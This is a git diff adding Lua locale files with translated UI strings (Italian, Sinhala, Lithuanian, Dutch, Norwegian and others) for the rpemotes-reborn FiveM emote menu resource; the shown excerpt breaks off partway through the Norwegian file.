['shareemotesinfo'] = "Undang orang terdekat untuk beremote", + ['sharedanceemotes'] = "~h~~p~ 🕺 Tarian Bersama", + ['notvalidsharedemote'] = "bukan merupakan emote bersama yang valid.", + ['sentrequestto'] = "Mengirim permintaan ke ~y~", + ['nobodyclose'] = "Tidak ada yang ~r~mendekati~w~ cukup.", + ['doyouwanna'] = "~y~Y~w~ untuk menerima, ~r~L~w~ untuk menolak (~g~", + ['refuseemote'] = "Emote ditolak.", + ['makenearby'] = "membuat pemain di dekatnya bermain", + ['useleafblower'] = "Tekan ~y~G~w~ untuk menggunakan peniup daun.", + ['camera'] = "Tekan ~y~G~w~ untuk menggunakan lampu kilat kamera.", + ['makeitrain'] = "Tekan ~y~G~w~ untuk membuat hujan.", + ['pee'] = "Tahan ~y~G~w~ untuk buang air kecil.", + ['spraychamp'] = "Tahan ~y~G~w~ untuk menyemprotkan sampanye", + ['stun'] = "Tekan ~y~G~w~ untuk 'menggunakan' stun gun.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Tekan ~y~G~w~ untuk melakukan vape.", + ['boundto'] = "Terikat (~y~%s~w~) untuk ~g~%s~w~", + ['currentlyboundemotes'] = " Emoticon yang saat ini terikat:", + ['notvalidkey'] = "bukan merupakan kunci yang valid.", + ['keybinds'] = "🔢 Tombol-tombol", + ['keybindsinfo'] = "Gunakan", + ['searchemotes'] = "~h~~y~ 🔍 Mencari Emotes", + ['searchinputtitle'] = "Cari:", + ['searchmenudesc'] = "hasil untuk", + ['searchnoresult'] = "Tidak ada hasil untuk pencarian", + ['searchshifttofav'] = "Tahan L-Shift dan tekan enter untuk menetapkan sebagai favorit.", + ['searchcantsetfav'] = "Emote yang dibagikan tidak dapat ditetapkan sebagai favorit.", + ['invalidvariation'] = "Variasi tekstur tidak valid. Pilihan yang valid adalah: %s", + ['firework'] = "Tekan ~y~G~w~ untuk menggunakan kembang api", + ['poop'] = "Tekan ~y~G~w~ untuk buang air besar", + ['puke'] = "Tekan ~y~G~w~ untuk muntah", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Pilih", + ['btn_back'] = "Kembali", + ['btn_switch'] = "Gerakan", + ['btn_increment'] = "Kenaikan", + ['dead'] = "Anda tidak dapat menggunakan emote saat mati!", + ['swimming'] = "Anda tidak dapat menggunakan emote saat berenang", + ['notvalidpet'] = "RUH ROH! Model pedal yang salah terdeteksi :dog2:!", + ['animaldisabled'] = "Maaf! Emote hewan dinonaktifkan di server ini", + ['adultemotedisabled'] = "Bonk! Emote dewasa dinonaktifkan :underage:", + ['toggle_instructions'] = "Beralih intruksi", + ['exit_binoculars'] = "Keluar dari teropong", + ['toggle_binoculars_vision'] = "Beralih di antara mode penglihatan", + ['exit_news'] = "Keluar dari Kamera Berita", + ['toggle_news_vision'] = "Beralih di antara mode penglihatan", + ['edit_values_newscam'] = "Edit teks berita", + ['not_in_a_vehicle'] = "Anda tidak dapat memainkan animasi ini saat berada di dalam kendaraan", + ['in_a_vehicle'] = "Anda hanya dapat memainkan animasi ini saat berada di dalam kendaraan :no_pedestrians:", + ['no_anim_crawling'] = "Anda tidak dapat memutar animasi sambil merayap", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/it.lua b/resources/rpemotesreborn1.6.0/locales/it.lua new file mode 100644 index 000000000..62bee4437 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/it.lua @@ -0,0 +1,83 @@ +Locales['it'] = { + -- Italian 🇮🇹 + ['emotes'] = " ~h~~p~ Animazioni 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Animazioni Di Danza", + ['animalemotes'] = "~h~~p~ 🐩 Animazioni Di Animali", + ['propemotes'] = "~h~~p~ 📦 Animazioni Prop", + ['favoriteemotes'] = "~h~~y~ 🌟 Emote preferite", + ['favoriteinfo'] = "Seleziona un'animazione per metterla nei preferiti.", + ['rfavorite'] = "Rimuovi preferito", + ['prop2info'] = "❓ Le animazioni Prop possono essere trovate in fondo.", + ['set'] = "Imposta (", + ['setboundemote'] = ") come tua animazione corrente?", + ['newsetemote'] = "~w~ è ora la tua animazione corrente, premi ~g~CapsLock~w~ per usarla.", + ['cancelemote'] = "~h~~r~ Annulla animazione 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Cancella l'animazione in corso.", + ['walkingstyles'] = "~h~~p~ Stili di camminata 🚶🏻‍♂️", + ['resetdef'] = "Ripristina predefiniti", + ['normalreset'] = "~h~~r~ Normale (Reset)", + ['moods'] = "~h~~p~ Umori 😒", + ['infoupdate'] = "~h~~g~ Crediti 🤝🏻", + ['infoupdateav'] = "Informazioni (Aggiornamento disponibile)", + ['infoupdateavtext'] = "Un aggiornamento è disponibile, ottieni l'ulima versione qui ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Suggerimenti?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ nei forum di FiveM per suggerimenti su funzionalitá/animazioni! ✉️", + ['notvaliddance'] = "non è un ballo valido.", + ['notvalidemote'] = "non è un'animazione valida.", + ['nocancel'] = "Nessun'animazione da cancellare.", + ['maleonly'] = "Quest'animazione è solo maschile!", + ['emotemenucmd'] = "Esegui /emotemenu per aprire il menù.", + ['shareemotes'] = "~h~~p~ 👫 Animazioni di coppia", + ['shareemotesinfo'] = "Invita un giocatore vicino ad un'animazione", + ['sharedanceemotes'] = "~h~~p~ 🕺 Balli di coppia", + ['notvalidsharedemote'] = "non è un'animazione di coppia valida.", + ['sentrequestto'] = "Richiesta mandata a ~y~", + ['nobodyclose'] = "Nessun giocatore abbastanza ~r~vicino~w~.", + ['doyouwanna'] = "~y~Y~w~ per accettare, ~r~L~w~ per rifiutare (~g~", + ['refuseemote'] = "Animazione rifiutata.", + ['makenearby'] = "fa eseguire l'animazione al giocatore vicino", + ['useleafblower'] = "Premi ~yG~w~ per usare il soffia foglie.", -- GOOGLE TRANSLATED + ['camera'] = "Premi ~y~G~w~ per usare il flash della fotocamera.", + ['makeitrain'] = "Premi ~y~G~w~ per far piovere.", + ['pee'] = "Tieni premuto ~y~G~w~ per urinare.", + ['spraychamp'] = "Tieni premuto ~y~G~w~ per spruzzare champagne", + ['stun'] = "Premi ~y~G~w~ per 'usare' la pistola stordente.", + ['boundto'] = "Bound (~y~%s~w~) to ~g~%s~w~", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Press ~y~G~w~ to vape.", + ['currentlyboundemotes'] = " Animazioni correnti:", + ['notvalidkey'] = "non è una chiave valida.", + ['keybinds'] = "🔢 Tasti", + ['keybindsinfo'] = "Utilizza", + ['searchemotes'] = "~h~~y~ 🔍 Search for Emotes", + ['searchinputtitle'] = "Search:", + ['searchmenudesc'] = "result(s) for", + ['searchnoresult'] = "No results for search", + ['searchshifttofav'] = "Hold L-Shift and press enter to set as favorite.", + ['searchcantsetfav'] = "Shared emotes cannot be set as favorites.", + ['invalidvariation'] = "Opzioni colore non valide. scelte valide sono: %s", + ['firework'] = "Premere ~y~G~w~ per utilizzare il fuoco d'artificio", + ['poop'] = "Premere ~y~G w~ per fare la cacca", + ['puke'] = "Premi ~y~G~w~ per vomitare", ---- Translated via smodin.io + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Seleziona", + ['btn_back'] = "Indietro", + ['btn_switch'] = "Movimento", + ['btn_increment'] = "Increment", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/lk.lua b/resources/rpemotesreborn1.6.0/locales/lk.lua new file mode 100644 index 000000000..6d4447122 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/lk.lua @@ -0,0 +1,83 @@ +Locales['lk'] = { + -- Sinhala 🇱🇰 + ['emotes'] = "~h~~p~ Emotes 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Natana Emotes", + ['animalemotes'] = "~h~~p~ 🐩 Sattunge Emotes", + ['propemotes'] = "~h~~p~ 📦 Prop Emotes", + ['favoriteemotes'] = "~h~~y~ 🌟 Favorite Emotes", + ['favoriteinfo'] = "Methanin oyage favorite emote eka thoraganna.", + ['rfavorite'] = "Favorite emote eka reset karanna", + ['prop2info'] = "❓ Prop emotes tiyenne anthimata", + ['set'] = "Set karanna (", + ['setboundemote'] = ") favorite emote eka widiyata?", + ['newsetemote'] = "~w~ thamai oyage favorite emote eka, ~g~CapsLock~w~ eken use karanna.", + ['cancelemote'] = "~h~~r~ Emote Eka Nawattanna 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Wetila thiyana emote eka nawattanawa", + ['walkingstyles'] = "~h~~p~ Awidina Styles 🚶🏻‍♂️", + ['resetdef'] = "Yathã thatweta path karanna", + ['normalreset'] = "~h~~r~ Normal (Reset karanna)", + ['moods'] = "~h~~p~ Mood Eka 😒", + ['infoupdate'] = "~h~~g~ Credits 🤝🏻", + ['infoupdateav'] = "Information (Update ekak tiyanawa)", + ['infoupdateavtext'] = "Update ekak tiyanawa, alutma update eka methanin ganna ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Suggestions?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ on FiveM forums for any feature/emote suggestions! ✉️", + ['notvaliddance'] = "kiyanne weradi natana emote ekak.", + ['notvalidemote'] = "kiyanne weradi emote ekak.", + ['nocancel'] = "Nawattanna emote ekak na.", + ['maleonly'] = "Me emote eka piriminta witharai, sorry!", + ['emotemenucmd'] = "/emotemenu kiyana command eken animations menu eka ganna.", + ['shareemotes'] = "~h~~p~ 👫 Shared Emotes", + ['shareemotesinfo'] = "Laga inna kenata emote eka danna katha krnna", + ['sharedanceemotes'] = "~h~~p~ 🕺 Shared Natana Emotes", + ['notvalidsharedemote'] = "kiyanne weradi shared emote ekak.", + ['sentrequestto'] = "Request ekak yewwa ~y~", + ['nobodyclose'] = "Kawruwat ~r~Laga~w~ na.", + ['doyouwanna'] = "~y~Y~w~ accept karanna, ~r~L~w~ decline karanna (~g~", + ['refuseemote'] = "Emote eka decline kara.", + ['makenearby'] = "laga inna playerta play karawanna", + ['useleafblower'] = "Meka weda karawanna ~y~G~w~ press karanna.", + ['camera'] = "Camera flash ekata ~y~G~w~ press karanna.", + ['makeitrain'] = "Salli wattanna ~y~G~w~ press karanna.", + ['pee'] = "Chuu danna ~y~G~w~ obagena inna.", + ['spraychamp'] = "Spray karanna ~y~G~w~ press karanna", + ['stun'] = "Stun karanna ~y~G~w~ press karanna.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Vape ekata ~y~G~w~ press karanna.", + ['boundto'] = "Bound karanna (~y~%s~w~) ta ~g~%s~w~", + ['currentlyboundemotes'] = " Denata bound karapu emotes:", + ['notvalidkey'] = "kiyanne weradi key ekak.", + ['keybinds'] = "🔢 Keybinds", + ['keybindsinfo'] = "Use karanna", + ['searchemotes'] = "~h~~y~ 🔍 Emotes Hoyaganna", + ['searchinputtitle'] = "Search karanna:", + ['searchmenudesc'] = "result(s) for", + ['searchnoresult'] = "Mukut hambune na", + ['searchshifttofav'] = "L-Shift obagena Enter press karala, favorite karaganna.", + ['searchcantsetfav'] = "Shared emotes favorite karanna ba.", + ['invalidvariation'] = "Weradi texture variation ekak. Hari ewa thamai: %s", + ['firework'] = "Firework ekata ~y~G~w~ press karanna", + ['poop'] = "Kakki danna ~y~G~w~ press karanna", + ['puke'] = "Wamane danna ~y~G~w~ press karanna", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Select Karanna", + ['btn_back'] = "Aapassata", + ['btn_switch'] = "Movement eka", + ['btn_increment'] = "Wedi karanna", + ['dead'] = "You can't use emotes while dead!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Incorrect ped model detected 🐕!", + ['animaldisabled'] = "Sorry! Animal emotes are disabled on this server", + ['adultemotedisabled'] = "Bonk! Adult emotes disabled 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Exit binoculars", + ['toggle_binoculars_vision'] = "Toggle between vision modes", + ['exit_news'] = "Exit News Camera", + ['toggle_news_vision'] = "Toggle between vision modes", + ['edit_values_newscam'] = "Edit the news text", + ['not_in_a_vehicle'] = "You can't play this animation while in a vehicle", + ['in_a_vehicle'] = "You can only play this animation while in a vehicle 🚷", + ['no_anim_crawling'] = "You can't play animations while crawling", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/lt.lua b/resources/rpemotesreborn1.6.0/locales/lt.lua new file mode 100644 index 000000000..bc002055b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/lt.lua @@ -0,0 +1,92 @@ +Locales['lt'] = { + -- Lithuanian (LT) + ['emotes'] = '~h~~p~ Animacijos 🎬', + ['danceemotes'] = "~h~~p~ 🕺 Sokiu animacijos", + ['animalemotes'] = "~h~~p~ 🐩 Gyvunu animacijos", + ['propemotes'] = "~h~~p~ 📦 Daiktu animacijos", + ['favoriteemotes'] = "~h~~y~ 🌟 Megstamiausi", + ['favoriteinfo'] = "Cia pasirinkite jaustuka, kad nustatytumete ji kaip megstamiausia.", + ['rfavorite'] = "Atstatyti megstamiausia", + ['prop2info'] = "❓ Daiktu animacijos gali buti pabaigoje", + ['set'] = "Rinkinys (", + ['setboundemote'] = ") buti tavo surista emocija?", + ['newsetemote'] = "~w~ dabar yra jusu susietas jaustukas, paspauskite ~g~CapsLock~w~, kad ji naudotumete.", + ['cancelemote'] = "~h~~r~ Atsaukti animacija 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Atsaukti dabar naudojama animacija", + ['walkingstyles'] = "~h~~p~ Ejimo stiliai 🚶🏻‍♂️", + ['resetdef'] = "~h~~y~ Atstatyti i numatytuosius nustatymus", + ['normalreset'] = "~h~~r~ Iprasta (nustatyti is naujo)", + ['moods'] = "~h~~p~ Nuotaikos 😒", + ['emotemenu'] = 'Žr. galimų emocijų sąrašą', + ['remove_emote_keybind'] = 'Ištrinti animaciją iš susieto mygtuko', + ['show_emote_keybind'] = 'peržiūrėti animacijas ant klavišų', + ['play_emote'] = 'vykdyti animaciją', + ['open_menu_emote'] = 'Animacijos', + ['show_list_emote'] = 'Peržiūrėti galimų emocijų sąrašą', + ['link_emote_keybind'] = 'Animacijos susiejimas su mygtuku', + ['help_command'] = 'dance, camera, sit arba kita animacija', + ['help_variation'] = '(Nebūtina) 1, 2, 3 ar kitas skaičius. Pakeis tam tikrų priedų, naudojamų emocijoms, tekstūrą, pavyzdžiui, telefono spalvą. Įrašykite -1 norėdami pamatyti variantų sąrašą', + ['infoupdate'] = "~h~~g~ Porines animacijos 🤝🏻", + ['infoupdateavtext'] = "Galimas naujinimas, gaukite naujausia versija is ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Pasiulymus?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ FiveM forumuose del bet kokiu funkciju / emociju pasiulymu! ✉️", + ['notvaliddance'] = "Sokis nera tinkamas.", + ['notvalidemote'] = "Nera tinkama animacija.", + ['nocancel'] = "Nera animaciju, kurias butu galima atsaukti.", + ['maleonly'] = "Si animacija yra tik vyriska, atsiprasome!", + ['emotemenucmd'] = "Noredami atidaryti animaciju meniu, naudokite komanda /emotemenu.", + ['shareemotes'] = "~h~~p~ 👫 Porines animacijos", + ['shareemotesinfo'] = "Pakvieskite salia esanti zmogu animacijai kartu", + ['sharedanceemotes'] = "~h~~p~ 🕺 Poriniai sokiai", + ['notvalidsharedemote'] = "Nera tinkama porine animacija.", + ['sentrequestto'] = "Prasymas issiustas asmeniui ~y~", + ['nobodyclose'] = "Nieko ~r~arti~w~ nera.", + ['doyouwanna'] = "~y~Y~w~ priimti, ~r~L~w~ atsisakyti (~g~", + ['refuseemote'] = "Animacijos atsisake.", + ['makenearby'] = "Kviecia arti esanti asmeni bendrai animacijai", + ['useleafblower'] = "Paspauskite ~y~G~w~, kad naudotumete lapu pustuva.", + ['camera'] = "Paspauskite ~y~G~w~, kad galetumete naudoti fotoaparato blykste.", + ['makeitrain'] = "Paspauskite ~y~G~w~, kad pradetu lyti.", + ['pee'] = "Laikykites ~y~G~w~, kad slapintumete.", + ['spraychamp'] = "Laikykite ~y~G~w~, kad ispurkstumete sampana", + ['stun'] = "Paspauskite ~y~G~w~, kad 'naudotumete' apsvaiginimo pistoleta.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Paspauskite ~y~G~w~, kad garuotumete", + ['boundto'] = "Suristi (~y~%s~w~) I ~g~%s~w~", + ['handsup'] = "pakelti rankas", + ['currentlyboundemotes'] = " Siuo metu susietos animacijos:", + ['notvalidkey'] = "raktas nera tinkamas.", + ['keybinds'] = "🔢 Keybind'ai", + ['keybindsinfo'] = "Naudoti", + ['searchemotes'] = "~h~~y~ 🔍 Iskoti animacijos", + ['searchinputtitle'] = "Ieskoti:", + ['searchmenudesc'] = "rezultatas (-ai), skirtas", + ['searchnoresult'] = "Paieskos rezultatu nera", + ['searchshifttofav'] = "Laikykite nuspaude L-Shift ir paspauskite Enter, kad nustatytumete kaip megstamiausia.", + ['searchcantsetfav'] = "Bendrinamos animacijos negali buti nustatytos kaip megstamiausios.", + ['invalidvariation'] = "Netinkamas teksturos variantas. Galiojantys pasirinkimai yra: %s", + ['firework'] = "Paspauskite ~y~G~w~, kad galetumete naudoti fejerverka", + ['poop'] = "Paspauskite ~y~G~w~, kad istustumete", + ['puke'] = "Paspauskite ~y~G~w~, kad vemtumete", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Pasirinkti", + ['btn_back'] = "Atgal", + ['btn_switch'] = "Judejimas", + ['btn_increment'] = "Padidejimas", + ['dead'] = "Negalite naudoti animaciju, kai esate mires!", + ['swimming'] = "Jus negalite naudoti animaciju plaukdami", + ['notvalidpet'] = "AU AU! Aptiktas netinkamas ped modelis 🐕!", + ['animaldisabled'] = "atsiprasome! Gyvunu emocijos siame serveryje isjungtos", + ['adultemotedisabled'] = "Boom! Suaugusiuju emocijos neleidziamos 🔞", + ['toggle_instructions'] = "Perjunkite nurodymus", + ['exit_binoculars'] = "Pasidekite ziuronus", + ['toggle_binoculars_vision'] = "Perjungti regejimo rezimus", + ['exit_news'] = "Iseikite is 'News Camera'.", + ['toggle_news_vision'] = "Perjungti regejimo rezimus", + ['edit_values_newscam'] = "Redaguoti naujienu teksta", + ['not_in_a_vehicle'] = "Negalite leisti sios animacijos budami transporto priemoneje", + ['in_a_vehicle'] = "Sia animacija galite leisti tik budami transporto priemoneje 🚷", + ['no_anim_crawling'] = "Narsydami negalite leisti animacijos", + ['no_anim_right_now'] = "You can't play an animation right now", + ['register_cancel_emote'] = "Atšaukti animaciją", +} diff --git a/resources/rpemotesreborn1.6.0/locales/nl.lua b/resources/rpemotesreborn1.6.0/locales/nl.lua new file mode 100644 index 000000000..74a011361 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/nl.lua @@ -0,0 +1,97 @@ +Locales['nl'] = { + -- Dutch 🇳🇱 + ['emotes'] = "Animaties 🎬", + ['danceemotes'] = "🕺 Dans Animaties", + ['animalemotes'] = "🐩 Dier Animaties", + ['propemotes'] = "📦 Voorwerp Animaties", + ['favoriteemotes'] = "~h~~y~ 🌟 Favoriete", + ['favoriteinfo'] = "Selecteer hier een animatie om deze als favoriete in te stellen.", + ['rfavorite'] = "Favoriete wissen", + ['prop2info'] = "❓ Voorwerp animaties aan het einde", + ['set'] = "Maak (", + ['setboundemote'] = ") je toegewezen animatie.", + ['newsetemote'] = "~w~ is nu je toegewezen animatie, druk op ~g~CapsLock~w~ om het te gebruiken.", + ['cancelemote'] = "Animatie Stoppen 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Stopt je huidige animatie.", + ['walkingstyles'] = "Loopjes 🚶🏻‍♂️", + ['resetdef'] = "~h~~y~ Reset naar standaard.", + ['normalreset'] = "~h~~r~ Normaal (Reset)", + ['moods'] = "Stemmingen 😒", + ['infoupdate'] = "Credits🤝🏻", + ['remove_emote_keybind'] = 'Verwijder een gebonden animatie van een toets', + ['show_emote_keybind'] = 'Zie een lijst met gebonden animaties', + ['play_emote'] = 'Start een animatie', + ['open_menu_emote'] = 'Open het animatiemenu', + ['show_list_emote'] = 'Zie een lijst met beschikbare animaties', + ['link_emote_keybind'] = 'Bind een animatie aan een toets', + ['help_command'] = 'dance, camera, sit of een andere animatie', + ['help_variation'] = '(Optioneel) 1, 2, 3 of een ander geldig nummer. Verandert de texture van een accessoire in een animatie, bijvoorbeeld de kleur van een telefoon. Voor een lijst van variaties -1', + ['infoupdateav'] = "Informatie (Update beschikbaar)", + ['infoupdateavtext'] = "Er is een update beschikbaar, download de laatste versie via ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Suggesties?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ op de FiveM forums om suggesties in te dienen! ✉️", + ['notvaliddance'] = "is geen geldige dans", + ['notvalidemote'] = "is geen geldige animatie", + ['nocancel'] = "Er is geen animatie om te stoppen", + ['maleonly'] = "Deze animatie is alleen voor mannen", + ['emotemenucmd'] = "Gebruik /emotemenu om het animatiemenu te openen", + ['shareemotes'] = "👫 Gedeelde Animaties", + ['shareemotesinfo'] = "Nodig een persoon in de buurt uit om een animatie te doen.", + ['sharedanceemotes'] = "~h~~p~ 🕺 Gedeelde Dansjes", + ['notvalidsharedemote'] = "is geen geldige gedeelde animatie", + ['sentrequestto'] = "Verzoek gestuurd naar ~y~", + ['nobodyclose'] = "Er is niemand ~r~dichtbij~w~ genoeg", + ['doyouwanna'] = "~y~Y~w~ om te accepteren, ~r~L~w~ om te weigeren (~g~", + ['refuseemote'] = "Animatie geweigerd", + ['makenearby'] = "laat iemand dichtbij", + ['useleafblower'] = "Druk op ~y~G~w~ om de bladblazer te gebruiken", + ['camera'] = "Druk op ~y~G~w~ om de flitser te gebruiken", + ['makeitrain'] = "Druk op ~y~G~w~ om geld te gooien", + ['pee'] = "Druk op ~y~G~w~ om te plassen", + ['spraychamp'] = "Druk op ~y~G~w~ om champagne te spuiten", + ['stun'] = "Druk op ~y~G~w~ om de taser te gebruiken", + ['smoke'] = "Druk op ~y~G~w~ om te roken", + ['vape'] = "Druk op ~y~G~w~ om te vapen", + ['boundto'] = "(~y~%s~w~) gebonden aan ~g~%s~w~", + ['handsup'] = "Handen omhoog", + ['currentlyboundemotes'] = "Gebonden animaties:", + ['notvalidkey'] = "is geen geldige toets", + ['keybinds'] = "🔢 Keybinds", + ['keybindsinfo'] = "Gebruik", + ['searchemotes'] = "~h~~y~ 🔍 Zoeken naar animaties", + ['searchinputtitle'] = "Zoeken:", + ['searchmenudesc'] = "resultaten voor", + ['searchnoresult'] = "Geen resultaten voor zoekopdracht", + ['searchshifttofav'] = "Houd ~y~L-Shift~w~ ingedrukt en druk op enter om als favoriet op te slaan.", + ['searchcantsetfav'] = "Gedeelde animaties kunnen niet als favoriet worden ingesteld", + ['invalidvariation'] = "Ongeldige texture variatie. Geldige selecties zijn: %s", + ['firework'] = "Druk op ~y~G~w~ om het vuurwerk te gebruiken", + ['poop'] = "Druk op ~y~G~w~ om te poepen", + ['puke'] = "Druk op ~y~G~w~ om te kotsen", + ['cut'] = "Druk op ~y~G~w~ om te snijden", + ['btn_select'] = "Selecteren", + ['btn_back'] = "Terug", + ['btn_increment'] = "Stappen", + ['dead'] = "Je kan geen animaties gebruiken terwijl je dood bent", + ['swimming'] = "Je kan geen animaties gebruiken tijdens het zwemmen", + ['notvalidpet'] = "Je kan deze animatie niet uitvoeren als deze ped 🐕", + ['animaldisabled'] = "Je kan geen dieranimaties gebruiken in deze server", + ['adultemotedisabled'] = "Bonk! Animaties voor volwassenen zijn uitgeschakeld 🔞", + ['toggle_instructions'] = "Instructies verbergen", + ['exit_binoculars'] = "Verrekijker verlaten", + ['toggle_binoculars_vision'] = "Wisselen tussen weergaven", + ['exit_news'] = "Nieuws camera verlaten", + ['toggle_news_vision'] = "Wisselen tussen weergaven", + ['edit_values_newscam'] = "Nieuws tekst bewerken", + ['not_in_a_vehicle'] = "Je kan deze animatie niet gebruiken in een voertuig", + ['in_a_vehicle'] = "Je kan deze animatie alleen in een voertuig gebruiken 🚷", + ['no_anim_crawling'] = "Je kan deze animatie niet gebruiken tijdens het kruipen", + ['no_anim_right_now'] = "Je kan nu geen animaties starten", + ['register_cancel_emote'] = "Huidige animatie stoppen", + ['register_open_menu'] = "Animatiemenu openen", + ['register_fav_anim'] = "Start je favoriete animatie", + ['crouch'] = "Hurken", + ['crawl'] = "Kruipen", + ['pointing'] = "Wijzen", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/no.lua b/resources/rpemotesreborn1.6.0/locales/no.lua new file mode 100644 index 000000000..c98ee8f5c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/no.lua @@ -0,0 +1,83 @@ +Locales['no'] = { + -- Norwegian 🇳🇴 + ['emotes'] = " ~h~~p~Animasjoner 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Danse Animasjoner", + ['animalemotes'] = "~h~~p~ 🐩 Dyreanimasjoner", + ['propemotes'] = "~h~~p~ 📦 Rekvisitt Animasjoner", + ['favoriteemotes'] = "~h~~y~ 🌟 Favoritt", + ['favoriteinfo'] = "Her kan du velge en favoritt animasjon.", + ['rfavorite'] = "Reset favoritt", + ['prop2info'] = "❓ Rekvisitt Animasjoner er på bunnen", + ['set'] = "Vil du sette (", + ['setboundemote'] = ") som din favoritt?", + ['newsetemote'] = "~w~ er nå lagret som din favoritt, trykk ~g~CapsLock~w~ for å bruke den.", + ['cancelemote'] = "~h~~r~ Avbryt Animasjonen 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Avbryt den nåværende animasjonen", + ['walkingstyles'] = "~h~~p~ Gangart 🚶🏻‍♂️", + ['resetdef'] = "Reset til standard", + ['normalreset'] = "~h~~r~ Normal (Reset)", + ['moods'] = "~h~~p~ Ansiktsuttrykk 😒", + ['infoupdate'] = "~h~~g~ Anerkjennelser 🤝🏻", + ['infoupdateav'] = "Informasjon (Oppdatering tilgjengelig)", + ['infoupdateavtext'] = "En oppdatering er tilgjengelig, du finner den nyeste versjonen her: ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Forslag?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ på FiveM forumet vist du har forslag til forbedringer/ animasjoner! ✉️", + ['notvaliddance'] = "er ikke en gyldig dans.", + ['notvalidemote'] = "er ikke en gyldig animasjon.", + ['nocancel'] = "Fant ingen animasjon å avbryte.", + ['maleonly'] = "Denne animasjonen er kun for men, beklager!", + ['emotemenucmd'] = "Use command /emotemenu to open animations menu.", + ['shareemotes'] = "~h~~p~ 👫 Felles Animasjoner", + ['shareemotesinfo'] = "Inviter den nærmeste personen til en felles animasjon", + ['sharedanceemotes'] = "~h~~p~ 🕺 Felles Danser", + ['notvalidsharedemote'] = "er ikke en gyldig felles animasjon.", + ['sentrequestto'] = "Sendte en forespørsel til ~y~", + ['nobodyclose'] = "Ingen ~r~personer~w~ er i nærheten.", + ['doyouwanna'] = "~y~Y~w~ for å akseptere, ~r~L~w~ for å avvise (~g~", + ['refuseemote'] = "Du avviste animasjonen.", + ['makenearby'] = "får personen i nærheten til å spille", + ['useleafblower'] = "Trykk ~y~G~w~ for å bruke løvblåseren.", + ['camera'] = "Trykk ~y~G~w~ for å bruke kamerablitsen.", + ['makeitrain'] = "Trykk ~y~G~w~ for å få det til å regne penger.", + ['pee'] = "Hold ~y~G~w~ for å tisse.", + ['spraychamp'] = "Hold ~y~G~w~ for å sprute champagne", + ['stun'] = "Trykk ~y~G~w~ for å 'bruke' elektrosjokkvåpenet.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Trykk ~y~G~w~ for å vape.", + ['boundto'] = "Du har bundet (~y~%s~w~) til ~g~%s~w~", + ['currentlyboundemotes'] = " Dine bundne animasjoner:", + ['notvalidkey'] = "er ikke en gyldig tast.", + ['keybinds'] = "🔢 Hurtigtaster", + ['keybindsinfo'] = "Bruk", + ['searchemotes'] = "~h~~y~ 🔍 Søk for Animasjoner", + ['searchinputtitle'] = "Søk:", + ['searchmenudesc'] = "resultat(er) for", + ['searchnoresult'] = "Ingen resultater for søk", + ['searchshifttofav'] = "Hold L-Shift og trykk Enter for å sette som favoritt.", + ['searchcantsetfav'] = "Du kan ikke sitte en Felles Animasjon som favoritt.", + ['invalidvariation'] = "Ugyldig tekstur variant. Gyldige varianter: %s", + ['firework'] = "Trykk ~y~G~w~ for å avfyre fyrverkeriet", + ['poop'] = "Hold ~y~G~w~ for å bæsje", + ['puke'] = "Trykk ~y~G~w~ for å spy", ---- Translated via smodin.io + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Velg", + ['btn_back'] = "Tilbake", + ['btn_switch'] = "Bevegelse", + ['btn_increment'] = "Increment", + 